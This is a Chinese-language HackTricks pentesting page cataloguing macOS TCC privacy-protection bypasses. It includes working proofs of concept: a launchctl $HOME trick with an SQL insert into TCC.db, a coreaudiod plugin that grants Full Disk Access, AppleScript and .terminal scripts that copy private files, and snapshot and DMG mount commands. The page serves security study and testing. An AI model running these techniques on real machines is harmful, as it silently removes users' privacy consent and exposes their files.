hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md

19 KiB
Raw Blame History

macOS TCC绕过

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

按功能分类

写入绕过

这不是一个绕过这只是TCC的工作原理它不会阻止写入。如果终端没有访问用户桌面的读取权限,仍然可以写入其中

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

扩展属性com.apple.macl被添加到新的文件中,以使创建者的应用程序能够访问它。

SSH绕过

默认情况下,通过SSH访问将具有**"完全磁盘访问"**权限。为了禁用此权限,您需要将其列出但禁用(从列表中删除不会删除这些权限):

在这里,您可以找到一些恶意软件如何绕过此保护的示例:

{% hint style="danger" %} 请注意现在为了能够启用SSH您需要完全磁盘访问权限 {% endhint %}

处理扩展名 - CVE-2022-26767

属性**com.apple.macl被赋予文件以赋予某个应用程序读取它的权限**。当用户通过拖放文件到应用程序上或者双击文件以使用默认应用程序打开它时,将设置此属性。

因此,用户可以注册一个恶意应用程序来处理所有扩展名,并调用启动服务来打开任何文件(因此恶意文件将被授予读取权限)。

iCloud

使用权限**com.apple.private.icloud-account-access可以与com.apple.iCloudHelper** XPC服务进行通信该服务将提供iCloud令牌

iMovieGarageband具有此权限以及其他权限。

有关从该权限中获取iCloud令牌的漏洞的更多信息,请查看演讲:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automation

具有**kTCCServiceAppleEvents权限的应用程序将能够控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。

有关Apple脚本的更多信息请查看

{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}

例如,如果一个应用程序具有对iTerm自动化权限,例如在此示例中**Terminal**具有对iTerm的访问权限

在iTerm上

没有FDA的Terminal可以调用具有FDA的iTerm并使用它执行操作

{% code title="iterm.script" %}

tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

{% endcode %}

osascript iterm.script

通过Finder

或者如果一个应用程序在Finder上具有访问权限它可以使用以下脚本之一

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

通过应用行为

CVE-20209934 - TCC

用户空间的 tccd 守护进程 使用 HOME env 变量来访问 TCC 用户数据库:$HOME/Library/Application Support/com.apple.TCC/TCC.db

根据这个 Stack Exchange 帖子以及因为 TCC 守护进程是通过 launchd 在当前用户域中运行的,可以控制传递给它的所有环境变量
因此,攻击者可以在 launchctl 中设置 $HOME 环境变量,指向一个受控的目录,然后重新启动 TCC 守护进程,并直接修改 TCC 数据库,以获取所有可用的 TCC 权限,而无需提示最终用户。
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - 笔记

笔记可以访问 TCC 保护的位置,但是当创建笔记时,它会被创建在一个非受保护的位置。因此,你可以要求笔记将受保护的文件复制到一个笔记中(即非受保护的位置),然后访问该文件:

CVE-2021-XXXX - 迁移

二进制文件 /usr/libexec/lsd 与库 libsecurity_translocate 具有权限 com.apple.private.nullfs_allow,允许它创建 nullfs 挂载,并具有权限 com.apple.private.tcc.allowkTCCServiceSystemPolicyAllFiles 以访问每个文件。

可以将隔离属性添加到 "Library",调用 com.apple.security.translocation XPC 服务,然后它将将 Library 映射到 $TMPDIR/AppTranslocation/d/d/Library,从而可以访问 Library 中的所有文档。

SQL 跟踪

如果环境变量 SQLITE_AUTO_TRACE 被设置,库 libsqlite3.dylib 将开始记录所有的 SQL 查询。许多应用程序使用了这个库,因此可以记录它们所有的 SQLite 查询。

几个 Apple 应用程序使用了这个库来访问 TCC 保护的信息。

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

Apple远程桌面

作为root用户您可以启用此服务并且ARD代理将具有完全磁盘访问权限用户可以滥用此权限使其复制新的TCC用户数据库。

通过插件

插件通常是以库或plist形式的额外代码它们将由主应用程序加载并在其上下文中执行。因此如果主应用程序可以访问TCC受限文件通过授予权限或权限则自定义代码也将具有相同的访问权限。

CVE-2020-27937 - 目录实用工具

应用程序/System/Library/CoreServices/Applications/Directory Utility.app具有权限kTCCServiceSystemPolicySysAdminFiles,加载了扩展名为.daplug的插件,并且没有启用强化运行时。

为了利用此CVE滥用先前的权限NFSHomeDirectory更改为能够接管用户的TCC数据库以绕过TCC。

有关更多信息,请查看原始报告

CVE-2020-29621 - Coreaudiod

二进制文件/usr/sbin/coreaudiod具有权限com.apple.security.cs.disable-library-validationcom.apple.private.tcc.manager。第一个权限允许代码注入第二个权限允许其管理TCC。

该二进制文件允许从文件夹/Library/Audio/Plug-Ins/HAL加载第三方插件。因此可以使用此PoC加载插件并滥用TCC权限

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

有关更多信息,请查看原始报告

设备抽象层DAL插件

通过Core Media I/O打开相机流的系统应用程序具有**kTCCServiceCamera**的应用程序)会在进程中加载位于/Library/CoreMediaIO/Plug-Ins/DAL中的这些插件不受SIP限制

只需在其中存储一个具有常见构造函数的库即可用于注入代码

几个Apple应用程序存在此漏洞。

通过进程注入

有不同的技术可以在进程内注入代码并滥用其TCC权限

{% content-ref url="../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Firefox

Firefox应用程序仍然存在漏洞具有com.apple.security.cs.disable-library-validation权限:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

有关如何轻松利用此漏洞的更多信息,请查看原始报告

CVE-2020-10006

二进制文件/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl具有权限**com.apple.private.tcc.allowcom.apple.security.get-task-allow**允许在进程内注入代码并使用TCC权限。

CVE-2023-26818 - Telegram

Telegram具有权限com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation,因此可以滥用它来获取其权限,例如使用摄像头进行录制。您可以在写作中找到有效载荷

通过打开调用

可以在受沙箱限制的环境中调用打开命令。

终端脚本

通常会为终端授予完全磁盘访问权限FDA,至少在技术人员使用的计算机上是如此。可以使用它来调用**.terminal**脚本。

**.terminal脚本是plist文件其中包含要在CommandString**键中执行的命令:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

一个应用程序可以在/tmp等位置编写一个终端脚本并使用如下命令来启动它

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

通过挂载

CVE-2020-9771 - mount_apfs TCC绕过和权限提升

任何用户(即使是非特权用户)都可以创建和挂载时间机器快照,并访问该快照的所有文件
唯一需要的特权是所使用的应用程序(如Terminal)需要具有完全磁盘访问权限FDAkTCCServiceSystemPolicyAllfiles),这需要由管理员授予。

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

更详细的解释可以在原始报告中找到

CVE-2021-1784和CVE-2021-30808 - 在TCC文件上挂载

即使TCC DB文件受到保护仍然可以在目录上挂载一个新的TCC.db文件

{% code overflow="wrap" %}

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

{% endcode %}

# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

查看原始文档中的完整利用方法

asr

工具**/usr/sbin/asr**允许复制整个磁盘并在另一个位置挂载绕过TCC保护。

位置服务

在**/var/db/locationd/clients.plist中有第三个TCC数据库用于指示允许访问位置服务的客户端。
文件夹
/var/db/locationd/没有受到DMG挂载的保护**因此可以挂载我们自己的plist文件。

通过启动应用程序

{% content-ref url="../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

通过grep

在许多情况下文件会将敏感信息如电子邮件、电话号码、消息等存储在未受保护的位置这在Apple中被视为漏洞

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥